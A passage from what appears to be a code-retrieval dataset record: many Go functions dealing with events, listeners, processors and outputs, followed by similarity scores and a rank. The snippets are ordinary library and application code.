tlen; i++ {\n\t\tinststream := InstStreamFetchExpr{s, i}\n\t\tswitch t {\n\t\tcase BoolT:\n\t\t\tp := Position{0, 0, 0}\n\t\t\tif i%2 == 0 {\n\t\t\t\tv = InstTruePredicate{p}\n\t\t\t} else {\n\t\t\t\tv = InstFalsePredicate{p}\n\t\t\t}\n\t\tcase NumT:\n\t\t\tv = InstIntLiteralExpr{i + 1}\n\t\tcase StringT:\n\t\t\tv = InstStringLiteralExpr{string(i)}\n\t\tdefault:\n\n\t\t}\n\t\t//fmt.Printf(\"Producing event %v\\n\", Resolved{inststream, Resp{v, eval, i, 0, ttlMap[s]}})\n\t\tc <- Resolved{inststream, Resp{v, eval, i, 0, ttlMap[s]}}\n\t}\n}", "func (o BucketNotificationLambdaFunctionOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v BucketNotificationLambdaFunction) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (b *eventBroker) Events(req *clientpb.Empty, stream serverpb.EventRPC_EventsServer) error {\n\n\t// Subscribe to event broker in events package\n\tincoming := events.EventBroker.Subscribe()\n\tdefer events.EventBroker.Unsubscribe(incoming)\n\n\t// For each event coming in, check event type,\n\tfor event := range incoming {\n\n\t\t// Depending on event type, we might have to push to several users/clients\n\t\tswitch event.Type {\n\t\tcase serverpb.EventType_USER:\n\t\t\t// We push anyway\n\n\t\tcase serverpb.EventType_MODULE:\n\t\t\t// For modules, we push only if consoles matches the token\n\n\t\tcase serverpb.EventType_SESSION:\n\t\t\t// For sessions, we push anyway.\n\n\t\tcase serverpb.EventType_LISTENER:\n\t\t\t// We push anyway.\n\n\t\tcase serverpb.EventType_JOB:\n\t\t\t// We push anyway.\n\n\t\tcase serverpb.EventType_STACK:\n\t\t\t// We push only if user matches AND console DOES NOT match\n\n\t\tcase serverpb.EventType_CANARY:\n\t\t\t// We push anyway\n\n\t\t}\n\t}\n\n\treturn nil\n}", "func Collect(mon StatSource) map[string]float64 {\n\trv := make(map[string]float64)\n\tmon.Stats(func(key SeriesKey, field string, val float64) {\n\t\trv[key.WithField(field)] = val\n\t})\n\treturn rv\n}", "func (w *Watcher) Events() chan EventInfo {\n\treturn w.eventInfoChan\n}", "func (procs *Processors) Run(event *beat.Event) *beat.Event {\n\t// Check if processors are set, just return event if not\n\tif len(procs.List) == 0 {\n\t\treturn event\n\t}\n\n\tfor _, p := range procs.List {\n\t\tvar err error\n\t\tevent, err = p.Run(event)\n\t\tif err != nil {\n\t\t\t// XXX: We don't drop the event, but continue filtering here iff the most\n\t\t\t// recent processor did return an event.\n\t\t\t// We want processors having this kind of implicit behavior\n\t\t\t// on errors?\n\n\t\t\tlogp.Debug(\"filter\", \"fail to apply processor %s: %s\", p, err)\n\t\t}\n\n\t\tif event == nil {\n\t\t\t// drop event\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn event\n}", "func collectEvents(f func()) (evs []events.Event) {\n\toldPS := events.DefaultPubSub\n\tevents.DefaultPubSub = &MockEventPubSub{\n\t\tPublishFunc: func(ev events.Event) { evs = append(evs, ev) },\n\t}\n\tdefer func() { events.DefaultPubSub = oldPS }()\n\n\tf()\n\treturn evs\n}", "func (emitter *EventEmitter) Listeners(eventName string) []func(...interface{}) {\n\tlisteners := make([]func(...interface{}), len(emitter.listenerMap[eventName]))\n\tcopy(listeners, emitter.listenerMap[eventName])\n\treturn listeners\n}", "func (d *Demo) Events() []Event {\n\treturn d.events\n}", "func Collect(mon Monitor) map[string]float64 {\n\trv := make(map[string]float64)\n\tmon.Stats(func(name string, val float64) {\n\t\trv[name] = val\n\t})\n\treturn rv\n}", "func NewEventProcessor(gateway *config.GatewayConfig) *EventProcessor {\n\tep := &EventProcessor{\n\t\tcfg: gateway,\n\t\teventGenerator: transaction.NewEventGenerator(),\n\t\teventMapper: &EventMapper{},\n\t}\n\treturn ep\n}", "func (a *BaseAggregateSourced) Events() []*Event {\n\treturn a.events\n}", "func GetEvents() []*Event {\n\tevents := []*Event{\n\t\t&Event{\"GreatUniHack 2016\", \"A first test\", \"Kilburn Building\", \"September 16 at 5:30pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", true},\n\t\t&Event{\"Test 2\", \"A second test\", \"Here\", \"June 1 at 12:00pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t\t&Event{\"Test 3\", \"A third test\", \"Here\", \"May 25 at 10:00am\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t}\n\n\treturn events\n}", "func EventSourceName_Values() []string {\n\treturn []string{\n\t\tEventSourceNameOnPostCallAnalysisAvailable,\n\t\tEventSourceNameOnRealTimeCallAnalysisAvailable,\n\t\tEventSourceNameOnPostChatAnalysisAvailable,\n\t\tEventSourceNameOnZendeskTicketCreate,\n\t\tEventSourceNameOnZendeskTicketStatusUpdate,\n\t\tEventSourceNameOnSalesforceCaseCreate,\n\t\tEventSourceNameOnContactEvaluationSubmit,\n\t}\n}", "func (r *entityImpl) Events(p schema.EntityEventsFieldResolverParams) (interface{}, error) {\n\tsrc := p.Source.(*types.Entity)\n\tclient := r.factory.NewWithContext(p.Context)\n\n\t// fetch\n\tevs, err := fetchEvents(client, src.Namespace, func(obj *types.Event) bool {\n\t\treturn obj.Entity.Name == src.Name\n\t})\n\tif err != nil {\n\t\treturn []interface{}{}, err\n\t}\n\n\t// sort records\n\tsortEvents(evs, p.Args.OrderBy)\n\n\treturn evs, nil\n}", "func RegisteredEvents() []events.Unmarshaller {\n\treturn []events.Unmarshaller{\n\t\tevents.ShareCreated{},\n\t\tevents.ShareUpdated{},\n\t\tevents.LinkCreated{},\n\t\tevents.LinkUpdated{},\n\t\tevents.ShareRemoved{},\n\t\tevents.LinkRemoved{},\n\t\tevents.ReceivedShareUpdated{},\n\t\tevents.LinkAccessed{},\n\t\tevents.LinkAccessFailed{},\n\t\tevents.ContainerCreated{},\n\t\tevents.FileUploaded{},\n\t\tevents.FileDownloaded{},\n\t\tevents.ItemTrashed{},\n\t\tevents.ItemMoved{},\n\t\tevents.ItemPurged{},\n\t\tevents.ItemRestored{},\n\t\tevents.FileVersionRestored{},\n\t\tevents.SpaceCreated{},\n\t\tevents.SpaceRenamed{},\n\t\tevents.SpaceEnabled{},\n\t\tevents.SpaceDisabled{},\n\t\tevents.SpaceDeleted{},\n\t\tevents.SpaceShared{},\n\t\tevents.SpaceUnshared{},\n\t\tevents.SpaceUpdated{},\n\t\tevents.UserCreated{},\n\t\tevents.UserDeleted{},\n\t\tevents.UserFeatureChanged{},\n\t\tevents.GroupCreated{},\n\t\tevents.GroupDeleted{},\n\t\tevents.GroupMemberAdded{},\n\t\tevents.GroupMemberRemoved{},\n\t}\n}", "func mapTags(ec echo.Context, latency time.Duration) map[string]interface{} {\n\ttags := map[string]interface{}{}\n\n\treq := ec.Request()\n\tres := ec.Response()\n\n\tid := req.Header.Get(echo.HeaderXRequestID)\n\tif id == \"\" {\n\t\tid = res.Header().Get(echo.HeaderXRequestID)\n\t}\n\n\ttags[logID] = id\n\ttags[logRemoteIP] = ec.RealIP()\n\ttags[logURI] = req.RequestURI\n\ttags[logHost] = req.Host\n\ttags[logMethod] = req.Method\n\n\tpath := req.URL.Path\n\tif path == \"\" {\n\t\tpath = \"/\"\n\t}\n\n\ttags[logPath] = path\n\ttags[logRoute] = ec.Path()\n\ttags[logProtocol] = req.Proto\n\ttags[logReferer] = req.Referer()\n\ttags[logUserAgent] = req.UserAgent()\n\ttags[logStatus] = res.Status\n\ttags[logLatency] = strconv.FormatInt(int64(latency), base)\n\ttags[logLatencyHuman] = latency.String()\n\n\tcl := req.Header.Get(echo.HeaderContentLength)\n\tif cl == \"\" {\n\t\tcl = \"0\"\n\t}\n\n\ttags[logBytesIn] = cl\n\ttags[logBytesOut] = strconv.FormatInt(res.Size, base)\n\n\treturn tags\n}", "func (p *processor) Receive(ctx context.Context, evts events.Events) ([]uint64, error) {\n\tif p.sender == nil {\n\t\tpanic(\"Run must be called before Receive\")\n\t}\n\n\tprocessed := make(events.Events, 0, len(evts))\n\tfor _, e := range evts {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil, ctx.Err()\n\t\tdefault:\n\t\t}\n\t\terr := p.pf(ctx, e, p.cfgData)\n\t\tif err != nil {\n\t\t\tif err == context.Canceled {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tlog.Error().Err(err).Uint64(\"id\", e.ID()).Msg(\"failed to process event\")\n\t\t\tcontinue\n\t\t}\n\t\tprocessed = append(processed, e)\n\t}\n\treturn p.sender.Send(ctx, processed)\n}", "func (handler *Handler) Events() []*event.Event {\n\thandler.mutex.Lock()\n\tdst := make([]*event.Event, len(handler.events))\n\t_ = copy(dst, handler.events)\n\thandler.mutex.Unlock()\n\n\treturn dst\n}", "func (fss *StreamingService) Listeners() map[types.StoreKey][]types.WriteListener {\n\tlisteners := make(map[types.StoreKey][]types.WriteListener, len(fss.storeListeners))\n\tfor _, listener := range fss.storeListeners {\n\t\tlisteners[listener.StoreKey()] = []types.WriteListener{listener}\n\t}\n\n\treturn listeners\n}", "func (m *EventLog) Payload() map[string]interface{} {\n\treturn m.MapPayload(m)\n}", "func (e *EchoSendEvent) Headers() map[string]string {\n\treturn e.headers\n}", "func eventMapping(status map[string]string) common.MapStr {\n\tsource := map[string]interface{}{}\n\tfor key, val := range status {\n\t\tsource[key] = val\n\t}\n\n\tdata, _ := schema.Apply(source)\n\treturn data\n}", "func (p *Pipeline) Process(labels model.LabelSet, extracted map[string]interface{}, ts *time.Time, entry *string) {\n\tstart := time.Now()\n\n\t// Initialize the extracted map with the initial labels (ie. \"filename\"),\n\t// so that stages can operate on initial labels too\n\tfor labelName, labelValue := range labels {\n\t\textracted[string(labelName)] = string(labelValue)\n\t}\n\n\tfor i, stage := range p.stages {\n\t\tif Debug {\n\t\t\tlevel.Debug(p.logger).Log(\"msg\", \"processing pipeline\", \"stage\", i, \"name\", stage.Name(), \"labels\", labels, \"time\", ts, \"entry\", entry)\n\t\t}\n\t\tstage.Process(labels, extracted, ts, entry)\n\t}\n\tdur := time.Since(start).Seconds()\n\tif Debug {\n\t\tlevel.Debug(p.logger).Log(\"msg\", \"finished processing log line\", \"labels\", labels, \"time\", ts, \"entry\", entry, \"duration_s\", dur)\n\t}\n\tif p.jobName != nil {\n\t\tp.plDuration.WithLabelValues(*p.jobName).Observe(dur)\n\t}\n}", "func (s *Service) Events(ctx context.Context, evts chan events.ContainerEvent) error {\n\tfilter := filters.NewArgs()\n\tfilter.Add(\"label\", fmt.Sprintf(\"%s=%s\", labels.PROJECT, s.project.Name))\n\tfilter.Add(\"label\", fmt.Sprintf(\"%s=%s\", labels.SERVICE, s.name))\n\tclient := s.clientFactory.Create(s)\n\teventq, errq := client.Events(ctx, types.EventsOptions{\n\t\tFilters: filter,\n\t})\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase event := <-eventq:\n\t\t\t\tservice := event.Actor.Attributes[labels.SERVICE.Str()]\n\t\t\t\tattributes := map[string]string{}\n\t\t\t\tfor _, attr := range eventAttributes {\n\t\t\t\t\tattributes[attr] = event.Actor.Attributes[attr]\n\t\t\t\t}\n\t\t\t\te := events.ContainerEvent{\n\t\t\t\t\tService: service,\n\t\t\t\t\tEvent: event.Action,\n\t\t\t\t\tType: event.Type,\n\t\t\t\t\tID: event.Actor.ID,\n\t\t\t\t\tTime: time.Unix(event.Time, 0),\n\t\t\t\t\tAttributes: attributes,\n\t\t\t\t}\n\t\t\t\tevts <- e\n\t\t\t}\n\t\t}\n\t}()\n\treturn <-errq\n}", "func (s *ReadState) IterateStreamEvents(startHeight, endHeight *uint64, sortOrder storage.SortOrder,\n\tconsumer func(*exec.StreamEvent) error) error {\n\ttree, err := s.Forest.Reader(keys.Event.Prefix())\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar startKey, endKey []byte\n\tif startHeight != nil {\n\t\tstartKey = keys.Event.KeyNoPrefix(*startHeight)\n\t}\n\tif endHeight != nil {\n\t\t// Convert to inclusive end bounds since this generally makes more sense for block height\n\t\tendKey = keys.Event.KeyNoPrefix(*endHeight + 1)\n\t}\n\treturn tree.Iterate(startKey, endKey, sortOrder == storage.AscendingSort, func(_, value []byte) error {\n\t\tbuf := bytes.NewBuffer(value)\n\n\t\tfor {\n\t\t\tev := new(exec.StreamEvent)\n\t\t\t_, err := encoding.ReadMessage(buf, ev)\n\t\t\tif err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = consumer(ev)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t})\n}", "func (counts ProcessCounts) Map() map[ProcessClass]int {\n\tcountMap := make(map[ProcessClass]int, len(processClassIndices))\n\tcountValue := reflect.ValueOf(counts)\n\tfor processClass, index := range processClassIndices {\n\t\tvalue := int(countValue.Field(index).Int())\n\t\tif value > 0 {\n\t\t\tcountMap[processClass] = value\n\t\t}\n\t}\n\treturn countMap\n}", "func (r *ProcessorResolver) Inputs(ctx context.Context, processor *model.Processor) ([]*model.ProcessorInput, error) {\n\tresult, err := r.DataLoaders.ProcessorLoader(ctx).InputsByProcessor(processor.ID)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get inputs from loader\")\n\t}\n\treturn result, nil\n}", "func (mon *SocketMonitor) Events(context.Context) (<-chan Event, error) {\n\tatomic.AddInt32(mon.listeners, 1)\n\treturn mon.events, nil\n}", "func (e *Engine) EventsInput() chan<- *InEvent {\n\treturn e.inEvents\n}", "func (this *Device) mapEvent(event []byte) (api.INotification, error) {\n if this.eventProcessor == nil {\n return nil, errors.New(fmt.Sprintf(ERR_NO_EVENT_PROCESSOR, this.Info().String()))\n }\n\n var evt messages.IEvent\n var msg api.INotification\n var err error\n\n if evt ,err = this.eventProcessor(this.Info().Mapify(), event); err == nil {\n msg = api.NewNotification(evt.Sender(), evt.PropertyName(), evt.PropertyValue())\n }\n\n return msg, err\n}", "func NewProcessor(url *url.URL) (core.EventProcessor, error) {\n\treturn &EventProcessor{}, nil\n}" ]
[ "0.5846361", "0.5748836", "0.5595276", "0.5388502", "0.5340182", "0.52838385", "0.52438504", "0.521005", "0.51795727", "0.5043579", "0.5035017", "0.49828053", "0.48539478", "0.4847942", "0.4814291", "0.47924703", "0.47880173", "0.47581965", "0.47513494", "0.47508985", "0.47477034", "0.47404683", "0.4719655", "0.47107378", "0.47062325", "0.4686166", "0.46436372", "0.46163413", "0.45946175", "0.45944315", "0.45910007", "0.45875016", "0.4568632", "0.45647076", "0.4564402", "0.45515972", "0.4529237", "0.4524329", "0.45093423", "0.45069304", "0.4502913", "0.44765806", "0.44719517", "0.44683444", "0.44593307", "0.4456429", "0.44480333", "0.44346765", "0.44206044", "0.44131303", "0.4412029", "0.44112977", "0.4407907", "0.44076937", "0.44021347", "0.4395153", "0.43881124", "0.43843356", "0.43777865", "0.4375712", "0.4373621", "0.4369786", "0.43681395", "0.43632808", "0.43628666", "0.43444428", "0.43395373", "0.4323376", "0.43147638", "0.43113253", "0.43055516", "0.42997524", "0.4298655", "0.42938006", "0.4278755", "0.4274562", "0.4262907", "0.42609608", "0.42581463", "0.42574838", "0.42566586", "0.4249879", "0.42480126", "0.4239785", "0.4236202", "0.4232593", "0.42304754", "0.42248407", "0.42239013", "0.42163423", "0.42125526", "0.42121512", "0.42007977", "0.42004848", "0.41968086", "0.41893512", "0.418792", "0.41877726", "0.41848558", "0.41677275" ]
0.7830062
0
OutputEvents returns a map of output labels to events traced during the execution of a stream pipeline.
func (s *Summary) OutputEvents() map[string][]NodeEvent { m := map[string][]NodeEvent{} s.outputEvents.Range(func(key, value any) bool { m[key.(string)] = value.(*events).Extract() return true }) return m }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (e *Engine) EventsOutput() <-chan *OutEvent {\n\treturn e.outEvents\n}", "func (o RegistryTaskSourceTriggerOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v RegistryTaskSourceTrigger) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (o IntentOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *Intent) pulumi.StringArrayOutput { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (o LookupIntentResultOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v LookupIntentResult) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (o BucketNotificationLambdaFunctionOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v BucketNotificationLambdaFunction) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (s *Summary) ProcessorEvents() map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.processorEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func (s *Summary) InputEvents() map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.inputEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func (eventRouter EventRouter) Events() []string {\n\teventKeys := make([]string, 0, len(eventRouter.mappings))\n\n\tfor k := range eventRouter.mappings {\n\t\teventKeys = append(eventKeys, k)\n\t}\n\n\treturn eventKeys\n}", "func (o BucketNotificationTopicOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v BucketNotificationTopic) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (o BucketNotificationQueueOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v BucketNotificationQueue) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func eventMapping(info []*haproxy.Stat, r mb.ReporterV2) {\n\tfor _, evt := range info {\n\t\tst := reflect.ValueOf(evt).Elem()\n\t\ttypeOfT := st.Type()\n\t\tsource := map[string]interface{}{}\n\n\t\tfor i := 0; i < st.NumField(); i++ {\n\t\t\tf := st.Field(i)\n\t\t\tsource[typeOfT.Field(i).Name] = f.Interface()\n\t\t}\n\n\t\tfields, _ := schema.Apply(source)\n\t\tevent := mb.Event{\n\t\t\tRootFields: common.MapStr{},\n\t\t}\n\n\t\tif processID, err := fields.GetValue(\"process_id\"); err == nil {\n\t\t\tevent.RootFields.Put(\"process.pid\", processID)\n\t\t\tfields.Delete(\"process_id\")\n\t\t}\n\n\t\tevent.MetricSetFields = fields\n\t\tr.Event(event)\n\t}\n}", "func (o IntegrationSlackOutput) PipelineEvents() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v *IntegrationSlack) pulumi.BoolOutput { return v.PipelineEvents }).(pulumi.BoolOutput)\n}", "func (tr *EventRepository) Events(d Stats) map[string]uint64 {\n\tm := make(map[string]uint64)\n\tswitch d {\n\tcase StatsLocationCountry:\n\t\tm = tr.locationCountry.Items()\n\tcase StatsLocationCity:\n\t\tm = tr.locationCity.Items()\n\tcase StatsDeviceType:\n\t\tm = tr.deviceType.Items()\n\tcase StatsDevicePlatform:\n\t\tm = tr.devicePlatform.Items()\n\tcase StatsDeviceOS:\n\t\tm = tr.deviceOS.Items()\n\tcase StatsDeviceBrowser:\n\t\tm = tr.deviceBrowser.Items()\n\tcase StatsDeviceLanguage:\n\t\tm = tr.deviceLanguage.Items()\n\tcase StatsReferral:\n\t\tm = tr.referral.Items()\n\t}\n\treturn m\n}", "func (e *EventsIO) Events() <-chan *EventResponse {\n\treturn (<-chan *EventResponse)(e.eventResp)\n}", "func AvailableEvents() (map[string][]string, error) {\n\tevents := map[string][]string{}\n\t// BUG(hodgesds): this should ideally check mounts for debugfs\n\trawEvents, err := fileToStrings(TracingDir + \"/available_events\")\n\t// Events are colon delimited by type so parse the type and add sub\n\t// events appropriately.\n\tif err != nil {\n\t\treturn events, err\n\t}\n\tfor _, rawEvent := range rawEvents {\n\t\tsplits := strings.Split(rawEvent, \":\")\n\t\tif len(splits) <= 1 {\n\t\t\tcontinue\n\t\t}\n\t\teventTypeEvents, found := events[splits[0]]\n\t\tif found {\n\t\t\tevents[splits[0]] = append(eventTypeEvents, splits[1])\n\t\t\tcontinue\n\t\t}\n\t\tevents[splits[0]] = []string{splits[1]}\n\t}\n\treturn events, err\n}", "func AllEvents() (map[[32]byte]abi.Event, error) {\r\n\tall := []string{\r\n\t\tcontracts1.ZapABI,\r\n\t\tcontracts.ZapDisputeABI,\r\n\t\tcontracts.ZapGettersABI,\r\n\t\tcontracts.ZapGettersLibraryABI,\r\n\t\tcontracts1.ZapLibraryABI,\r\n\t\tcontracts.ZapMasterABI,\r\n\t\tcontracts.ZapStakeABI,\r\n\t\tcontracts.ZapStorageABI,\r\n\t\tcontracts.ZapTransferABI,\r\n\t}\r\n\r\n\tparsed := make([]interface{}, 0)\r\n\tfor _, abi := range all {\r\n\t\tvar f interface{}\r\n\t\tif err := json.Unmarshal([]byte(abi), &f); err != nil {\r\n\t\t\treturn nil, err\r\n\t\t}\r\n\t\tasList := f.([]interface{})\r\n\t\tfor _, parsedABI := range asList {\r\n\t\t\tparsed = append(parsed, parsedABI)\r\n\t\t}\r\n\t}\r\n\tj, err := json.Marshal(parsed)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tabiStruct, err := abi.JSON(strings.NewReader(string(j)))\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\teventMap := make(map[[32]byte]abi.Event)\r\n\tfor _, e := range abiStruct.Events {\r\n\t\teventMap[e.ID()] = e\r\n\t}\r\n\r\n\treturn eventMap, nil\r\n}", "func (p *StreamToSubStream) OutPorts() map[string]*scipipe.OutPort {\n\treturn map[string]*scipipe.OutPort{\n\t\tp.OutSubStream.Name(): p.OutSubStream,\n\t}\n}", "func (engine *DockerTaskEngine) TaskEvents() (<-chan api.ContainerStateChange, <-chan error) {\n\treturn engine.container_events, engine.event_errors\n}", "func mapOutputs() (map[string]*gdk.Monitor, error) {\n\tresult := make(map[string]*gdk.Monitor)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond)\n\tdefer cancel()\n\n\tclient, err := sway.New(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toutputs, err := client.GetOutputs(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdisplay, err := gdk.DisplayGetDefault()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnum := display.GetNMonitors()\n\tfor i := 0; i < num; i++ {\n\t\tmonitor, _ := display.GetMonitor(i)\n\t\tgeometry := monitor.GetGeometry()\n\t\t// assign output to monitor on the basis of the same x, y coordinates\n\t\tfor _, output := range outputs {\n\t\t\tif int(output.Rect.X) == geometry.GetX() && int(output.Rect.Y) == geometry.GetY() {\n\t\t\t\tresult[output.Name] = monitor\n\t\t\t}\n\t\t}\n\t}\n\treturn result, nil\n}", "func OutputAllE(t testing.TestingT, options *Options) (map[string]interface{}, error) {\n\treturn OutputForKeysE(t, options, nil)\n}", "func (emitter *EventEmitter) EventNames() []string {\n\treturn getListenerMapKeys(emitter.listenerMap)\n}", "func GetPluginOuts(plugins []*PluginConfiguration) map[string]string {\n\touts := make(map[string]string)\n\tfor _, plugin := range plugins {\n\t\tif plugin.Out == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\touts[plugin.Label.String()] = plugin.Out\n\t}\n\treturn outs\n}", "func (d *Docker) Events(ctx context.Context, filters map[string]string) (<-chan *types.WorkloadEventMessage, <-chan error) {\n\teventChan := make(chan *types.WorkloadEventMessage)\n\terrChan := make(chan error)\n\n\t_ = utils.Pool.Submit(func() {\n\t\tdefer close(eventChan)\n\t\tdefer close(errChan)\n\n\t\tf := d.getFilterArgs(filters)\n\t\tf.Add(\"type\", events.ContainerEventType)\n\t\toptions := enginetypes.EventsOptions{Filters: f}\n\t\tm, e := d.client.Events(ctx, options)\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase message := <-m:\n\t\t\t\teventChan <- &types.WorkloadEventMessage{\n\t\t\t\t\tID: message.ID,\n\t\t\t\t\tType: message.Type,\n\t\t\t\t\tAction: message.Action,\n\t\t\t\t\tTimeNano: message.TimeNano,\n\t\t\t\t}\n\t\t\tcase err := <-e:\n\t\t\t\terrChan <- err\n\t\t\t\treturn\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t})\n\n\treturn eventChan, errChan\n}", "func (o *Output) ToMap() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"output\": o.Output,\n\t}\n}", "func (o *Output) ToMap() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"code\": o.Code,\n\t\t\"message\": o.Message,\n\t\t\"result\": o.Result,\n\t}\n}", "func OutputTypes() []string {\n\tvar ts []string\n\tfor k := range streamable {\n\t\tts = append(ts, k)\n\t}\n\tfor k := range outFuns {\n\t\tts = append(ts, k)\n\t}\n\tsort.Strings(ts)\n\n\treturn ts\n}", "func (a *Action) OutputMappings() []string {\n\treturn a.outputMappings\n}", "func (l *Service) Events(bytes []byte, stream primitive.Stream) {\n\trequest := &ListenRequest{}\n\tif err := proto.Unmarshal(bytes, request); err != nil {\n\t\tstream.Error(err)\n\t\tstream.Close()\n\t\treturn\n\t}\n\n\tif request.Replay {\n\t\tfor index, value := range l.values {\n\t\t\tstream.Result(proto.Marshal(&ListenResponse{\n\t\t\t\tType: ListenResponse_NONE,\n\t\t\t\tIndex: uint32(index),\n\t\t\t\tValue: value,\n\t\t\t}))\n\t\t}\n\t}\n}", "func OutputAll(t testing.TestingT, options *Options) map[string]interface{} {\n\tout, err := OutputAllE(t, options)\n\trequire.NoError(t, err)\n\treturn out\n}", "func GetEvents() []*Event {\n\tevents := []*Event{\n\t\t&Event{\"GreatUniHack 2016\", \"A first test\", \"Kilburn Building\", \"September 16 at 5:30pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", true},\n\t\t&Event{\"Test 2\", \"A second test\", \"Here\", \"June 1 at 12:00pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t\t&Event{\"Test 3\", \"A third test\", \"Here\", \"May 25 at 10:00am\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t}\n\n\treturn events\n}", "func (o *Output) ToMap() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"filter\": o.Filter,\n\t}\n}", "func (d *Driver) TaskEvents(ctx context.Context) (<-chan *drivers.TaskEvent, error) {\n\treturn d.eventer.TaskEvents(ctx)\n}", "func (w *World) EmitEvents(value dump.Value, event EnvEvent) {\n\tif w.EnvHook == nil {\n\t\treturn\n\t}\n\tif indices := value.Indices(); indices == nil {\n\t\tw.EnvHook(event)\n\t} else {\n\t\tfor _, name := range indices {\n\t\t\te := event\n\t\t\tvar v dump.Value\n\t\t\te.EnvPath = append(e.EnvPath, name)\n\t\t\te.DumpPath, v = value.Index(e.DumpPath, name)\n\t\t\tw.EmitEvents(v, e)\n\t\t}\n\t}\n}", "func (r *ProcessorResolver) Outputs(ctx context.Context, processor *model.Processor) ([]*model.ProcessorOutput, error) {\n\tresult, err := r.DataLoaders.ProcessorLoader(ctx).OutputsByProcessor(processor.ID)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get outputs from loader\")\n\t}\n\treturn result, nil\n}", "func (a *Action) OutputNames() (names []string) {\n\tfor k := range a.Output {\n\t\tnames = append(names, k)\n\t}\n\n\tsort.Strings(names)\n\n\treturn names\n}", "func (m *Group) GetEvents()([]Eventable) {\n return m.events\n}", "func (u *InputUnifi) Events(filter *poller.Filter) (*poller.Events, error) {\n\tif u.Disable {\n\t\treturn nil, nil\n\t}\n\n\tlogs := []any{}\n\n\tif filter == nil {\n\t\tfilter = &poller.Filter{}\n\t}\n\n\tfor _, c := range u.Controllers {\n\t\tif filter.Path != \"\" && !strings.EqualFold(c.URL, filter.Path) {\n\t\t\tcontinue\n\t\t}\n\n\t\tevents, err := u.collectControllerEvents(c)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlogs = append(logs, events...)\n\t}\n\n\treturn &poller.Events{Logs: logs}, nil\n}", "func (l *Log) Events() <-chan Message { return l.eventCh }", "func (d *Demo) Events() []Event {\n\treturn d.events\n}", "func GetOutputters() []string {\n\tvar o []string\n\tfor name := range registry.Outputs {\n\t\to = append(o, name)\n\t}\n\treturn o\n}", "func policyEvents(us resource.PolicyUpdates, now time.Time) map[string]event.Event {\n\teventsByType := map[string]event.Event{}\n\tfor workloadID, update := range us {\n\t\tfor _, eventType := range policyEventTypes(update) {\n\t\t\te, ok := eventsByType[eventType]\n\t\t\tif !ok {\n\t\t\t\te = event.Event{\n\t\t\t\t\tServiceIDs: []resource.ID{},\n\t\t\t\t\tType: eventType,\n\t\t\t\t\tStartedAt: now,\n\t\t\t\t\tEndedAt: now,\n\t\t\t\t\tLogLevel: event.LogLevelInfo,\n\t\t\t\t}\n\t\t\t}\n\t\t\te.ServiceIDs = append(e.ServiceIDs, workloadID)\n\t\t\teventsByType[eventType] = e\n\t\t}\n\t}\n\treturn eventsByType\n}", "func (e *EventLogger) ProcessEvents() {\n\te.CreateEventLogs()\n\te.WriteEventLogs()\n}", "func (pub *Publisher) PublishOutputEvent(node *types.NodeDiscoveryMessage) error {\n\treturn PublishOutputEvent(node, pub.registeredOutputs, pub.registeredOutputValues, 